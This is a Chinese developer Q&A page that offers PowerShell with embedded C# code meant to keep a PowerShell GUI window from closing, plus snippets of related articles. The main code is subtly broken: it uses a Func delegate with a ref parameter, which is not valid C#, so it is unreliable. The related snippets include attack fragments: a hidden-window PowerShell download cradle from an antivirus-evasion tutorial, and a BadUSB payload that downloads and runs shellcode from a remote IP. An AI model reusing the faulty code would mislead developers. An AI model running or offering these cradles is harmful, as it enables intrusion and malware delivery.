首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

阻止Powershell GUI关闭

是指在使用Powershell脚本创建的图形用户界面(GUI)中,防止用户通过关闭GUI窗口来终止脚本的执行。下面是一个可以实现此功能的示例代码:

代码语言:txt
复制
Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Windows.Forms;

    public class InterceptFormClose
    {
        // 声明一个代表Windows消息的常量
        private const int WM_CLOSE = 0x10;

        // 导入Windows API函数来发送消息
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        private static extern IntPtr SendMessage(IntPtr hWnd, int Msg, IntPtr wParam, IntPtr lParam);

        // 定义一个回调函数,用于拦截关闭窗口消息
        private static IntPtr InterceptClose(IntPtr hWnd, int Msg, IntPtr wParam, IntPtr lParam, ref bool handled)
        {
            if (Msg == WM_CLOSE)
            {
                // 在此处插入你想要执行的代码
                // 例如:阻止关闭操作或执行清理代码

                handled = true; // 阻止窗口关闭
            }

            return IntPtr.Zero;
        }

        public static void Intercept()
        {
            // 获取当前进程的主窗口句柄
            IntPtr handle = Process.GetCurrentProcess().MainWindowHandle;

            // 使用Application.AddMessageFilter方法来拦截窗口消息
            Application.AddMessageFilter(new MessageFilter(InterceptClose));
        }

        // 自定义一个继承自IMessageFilter的类,用于处理消息过滤
        private class MessageFilter : IMessageFilter
        {
            private Func<IntPtr, int, IntPtr, IntPtr, ref bool, IntPtr> _callback;

            public MessageFilter(Func<IntPtr, int, IntPtr, IntPtr, ref bool, IntPtr> callback)
            {
                _callback = callback;
            }

            public bool PreFilterMessage(ref Message m)
            {
                bool handled = false;
                _callback(m.HWnd, m.Msg, m.WParam, m.LParam, ref handled);
                return handled;
            }
        }
    }
"@

# 调用InterceptFormClose类中的Intercept方法来拦截关闭操作
[InterceptFormClose]::Intercept()

# 在这里插入你的其他脚本逻辑

上述代码使用了C#的Interop功能来定义了一个InterceptFormClose类,该类通过拦截窗口消息的方式实现了阻止Powershell GUI关闭的功能。你可以在代码中的// 在此处插入你想要执行的代码处添加你希望在阻止关闭时执行的任何其他逻辑。

请注意,此示例代码仅适用于Windows平台上的Powershell运行时环境。同时,该代码仅阻止了通过关闭窗口的方式终止脚本的执行,其他终止方式(如通过任务管理器结束进程)仍然可以终止脚本。

参考腾讯云相关产品:

  • 如果你需要在云上执行Powershell脚本,可以使用腾讯云的"云服务器 CVM"产品。了解更多信息请访问:腾讯云云服务器(CVM)
  • 如果你需要在Powershell脚本中使用云存储服务,可以考虑使用腾讯云的"对象存储 COS"产品。了解更多信息请访问:腾讯云对象存储(COS)
  • 如果你需要在Powershell脚本中使用云数据库服务,可以考虑使用腾讯云的"云数据库 CDB"产品。了解更多信息请访问:腾讯云云数据库 MySQL 版
页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

.NETC# 阻止屏幕关闭阻止系统进入睡眠状态

在 Windows 系统中,一段时间不操作键盘和鼠标,屏幕便会关闭,系统会进入睡眠状态。但有些程序(比如游戏、视频和演示文稿)在运行过程中应该阻止屏幕关闭,否则屏幕总是关闭,会导致体验会非常糟糕。...本文介绍如何编写 .NET/C# 代码临时阻止屏幕关闭以及系统进入睡眠状态。...一个指的是屏幕关闭,一个指的是系统进入睡眠。 此封装后,使用则相当简单: 1 2 3 4 5 // 阻止系统睡眠,阻止屏幕关闭。...SystemSleep.PreventForCurrentThread(); // 恢复此线程曾经阻止的系统休眠和屏幕关闭。...如果你发现无论你设置了多么短的睡眠时间和屏幕关闭时间,屏幕都不会关闭,那就是有某个程序阻止了屏幕关闭,你可以: 查看有哪些程序会一直保持屏幕处于打开状态 找到是谁持续唤醒了计算机屏幕 ---- 参考资料

73630
  • 在Windows下通过Python脚本来阻止屏幕关闭

    在Windows下可以在系统中设置自动关闭屏幕的时间,在一些场合下,我么可能会想临时的阻止Windows自动关闭屏幕,但是又不想改变系统设置(比如在疫情里面宅在家里远程办公的时候,检查完孩子作业之后回来...在Windows中,可以通过SetThreadExecutionState方法来设置应用运行的状态,来设置应用是否需要关闭屏幕,是否可以阻止进入睡眠状态。...Python在Windows下,可以通过ctypes.windll来调用dll中提供的方法,从而可以在脚本中来组织Windows关闭屏幕。...其中ES_DISPLAY_REQUIRED是重置系统用于计算自动关闭屏幕的时钟,而ES_CONTINUOUS与ES_DISPLAY_REQUIRED一起设置时,则表示直到下一次设置,那么让系统保持这一次设置的状态为

    2.9K00

    Windows 系统上如何揪出阻止你屏幕关闭的程序

    使用 Win32 API SetThreadExecutionState 可以阻止进入屏幕保护程序,也能阻止屏幕关闭阻止系统睡眠。...这很方便,这也就可能造成各种参差不齐的程序都试图阻止你的屏幕关闭,于是来一个一整晚亮瞎眼就很难受。 本文教大家如何揪出阻止你屏幕关闭的程序。...于是,如果有某个应用或驱动设置了阻止屏幕关闭,那么就会出现在此命令执行的结果里面。...比如下面是我的例子: SteamVR 的几个进程试图阻止屏幕关闭,另外一些进程试图阻止系统睡眠 结束掉 SteamVR 后重新执行此命令,可以发现已经没有进程在阻止屏幕关闭和系统睡眠了: 命令 powercfg...常用阻止关闭屏幕的程序 发现电脑屏幕总是不自动关闭

    2.4K30

    PowerShell做点实用的东西--GUI设计第二弹

    PowerShell好不好?确实好,能帮助运维提升工作效率,让工作变得轻松而且高效。...但是很遗憾的是,PowerShell的重要性,在国内的认知度并不够高,去看看各大招聘网站,很少有对PowerShell能力进行要求的。或者即使有要求,高薪职位也很少。...关于PowerShell我只说一句。一群人天天走路上班,突然在你面前摆了一个机会,你只要简单的学一下,就可以骑自行车上班了。重要的是,自行车我还白送。那我问你,你是愿意继续走路还是骑车?...在上一篇分享中(点击这里),我们大致了解了一下PowerShell的图形界面编程,很容易就可以将一段脚本改变成GUI程序。比如我们今天要做的程序是这样的。 高逼格计算器 ?...在Windows的运维工作中,不用脚本在多数情况下都是可以完成日常工作的,但是要让工作更有价值,可以尝试下PowerShell。 还是之前说的那句话,走路还是骑车,看你。

    3.8K20

    超越边界:利用C#实现跨服务器的进程管理

    } } runspace.Close(); } } command参数参考: Get-Process:获取进程列表 Stop-Process:关闭进程...远程通过进程ID关闭指定名称的进程 public static void StopRemoteProcessByName(string remoteComputer, string userName,...Console.WriteLine("Error retrieving process ID"); return; } // 如果找到了进程,关闭它...runspace.Close(); } } 远程服务器打开一个记事本,查看记事本进程名称和id分别是notepad 和 2724 传入参数,执行程序 获取到notepad进程ID为2724,并且成功被关闭...因此,这限制了图形用户界面(GUI)程序的显示。但是针对于远程启动一些后台服务,确是可以的。但是具有GUI交互的程序,却没办法打开GUI界面,会在一小段时间以后自动销毁。

    9510

    免杀学习-从指令绕过开始-1

    这个工具是类似CS的工具 下面的图片是它的控制界面,利用了Web界面更加简介美观且自带中文 分析一下它自带的上线语句 支持多种操作系统的上线,相比CS需要按照插件才能上线linux更加集成 支持利用powershell...和certutil指令进行上线操作 powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient...需要注意的是破晓的上线操作需要利用探针的参数才行,比如这里的e75tdmwe 初步测试 我们将自带的命令进行编译生成exe文件直接尝试上线 在360环境下测试 静态免杀没问题,尝试上线 上线失败被阻止...在火绒环境下运行 静态云查杀依旧没有问题 尝试上线 果然还是被阻止了 进行文件分析 效果显示很不错 https://www.virustotal.com/gui/ 这个就更离谱了 https:/.../www.virscan.org/language/zh-cn/ 进阶 通过利用certutil自带的加解密功能进行木马的免杀 加密代码 Certutil -encode C+Powershell.exe

    21820

    skr ~~HID攻击之实战篇

    接下来,就跟着斗哥进行实践玩耍吧:通过Badusb高效的执行能力,再结合Powershell后门,趁着小伙伴离开之际,get到小伙伴电脑的权限…emmmm···· 知识回顾 在早前讲到了Powershell...相信到这一步大家肯定就会想问,之前不是讲到Powershell控制台要是被关闭了,那么也就无法连接,如果在目标主机中开启Powershell控制台,那不就会被目标主机的用户关闭,导致连接失败?...downloadstring('http://192.168.11.35/code');invoke-shellcode -shellcode $buf -force; " 4.输入后按下Enter键,发现cmd控制台自动关闭...delay(1000);//延时(此处延时仅仅是为了方便连接开发板,如果是关机命令那么板子基本是一连接电脑就开始执行操作,来不及反应) Keyboard.press(KEY_LEFT_GUI...延时500ms,以免其它因素影响,导致按键顺序错乱 Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI

    1.3K10

    一些xresloader(转表工具)的改进

    然后顺便也修复了 sample 里的 powershell 脚本,现在有 powershell-core 的情况下。跨平台脚本反而 powershell-core 能比较统一了。...(GBK)+Powershell(UTF-8)+Powershell-core,总没发现万金油。...的事件里读取构建信息的数据和控制GUI的log,补了一些函数和事件,现在的各类接口和事件的可用变量描述如下(新增的标记了 要求版本>=2.2.0 ): set_name 事件数据。...content, title, options) {}, // (要求版本>=2.2.0) 警告弹框, options 结构是 {yes: 点击是按钮回调, no: 点击否按钮回调, on_close: 关闭后回调...function(content, title, options) {}, // 警告弹框, options 结构是 {yes: 点击是按钮回调, no: 点击否按钮回调, on_close: 关闭后回调

    76720

    11.反恶意软件扫描接口 (AMSI)

    如果识别出已知特征,则不会启动执行,并且会显示一条消息,表明脚本已被防病毒软件阻止。下图说明了 AMSI 扫描的过程。 ?...如果内容被认为是恶意的,它将被阻止。 AMSI 体系结构 ? 任何应用程序都可以调用它;任何注册的反恶意软件引擎都可以处理提交给它的内容。...如果端点安全产品支持AMSI,并且检测到该字符串, 那么PowerShell提示符将显示错误,表明输入的命令是恶意的。 ? 很好Amsi查杀并阻止了power shell执行命令。...否则,关闭宏会话并发出响应警报和处理恶意文件。...Office 应用程序会通知用户,并关闭应用程序会话以避免任何进一步的损害。这可以阻止攻击,保护设备和用户。

    4.3K20
    领券